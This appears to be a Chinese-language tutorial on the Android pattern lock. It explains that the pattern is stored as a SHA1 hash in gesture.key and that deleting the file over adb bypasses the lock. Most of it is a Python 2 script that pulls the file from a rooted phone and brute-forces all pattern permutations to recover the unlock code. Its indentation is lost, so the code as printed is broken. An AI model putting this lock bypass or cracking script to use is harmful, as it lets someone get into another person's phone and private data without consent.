原理:
1、九宫格有九个点,每个点都有一个编号,其排布顺序为:
00 01 02
03 04 05
06 07 08
2、根据你所画的图形将某几个数(4到9个)排列在一起,得到一个数字序列,比如
虽然看起来很复杂,其实生成的数字序列只是:00 03 07 05 02 04 06 01 08
3、系统将这一串数字序列以十六进制的方式进行SHA1加密,存储在手机里的/data/system/gesture.key里
以上就是九宫格锁屏的原理了,所以如果发现锁屏密码忘了,直接用adb工具把gesture.key文件删除就可以了。
如果想要破解锁屏密码该怎么办呢?根据排列组合知识,锁屏密码一共大概有985824种可能,这个数字看起来很大,但是用计算机来验证的话其实很快的。所以解决这个问题只需要将加密后的密码与这么多可能的子串进行比较,就可以知道密码是多少了。
前提:
1、打开手机的USB调试功能。这个功能一般在“设置”中的“开发人员选项”中
2、有android 的 adb 调试工具
3、手机完全root过。如果用adb工具出现不能识别的情况,有可能是因为手机没有完全root过(360的root好像就不行),可以使用 “超级adbd”来root
代码:
#coding:utf-8
import itertools
import hashlib
import time
import os
class FoundException(Exception):
pass
os.system("adb pull /data/system/gesture.key gesture.key") #使用adb工具得到gesture.key
time.sleep(5)
f = open("gesture.key","r")
pswd=f.readline()
f.close()
pswd_hex=pswd.encode("hex") #得到十六进制的加密密码
print"加密后的密码为:{}".format(pswd_hex)
matrix=[]
for i in range(0,9):
str_temp = '0'+str(i)
matrix.append(str_temp) #得到[00,01,02,03,04,05,06,07,08]
min_num = 4
max_num = len(matrix)
try:
for num in range(min_num,max_num+1):
iter1 = itertools.permutations(matrix,num) #得到n个数字的所有序列
for el in list(iter1):
strlist = ''.join(el)
strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest() #将序列SHA1加密
if pswd_hex == strlist_sha1: #与加密密码进行比对
raise FoundException()
except FoundException:
print '解锁密码为:{}'.format(strlist)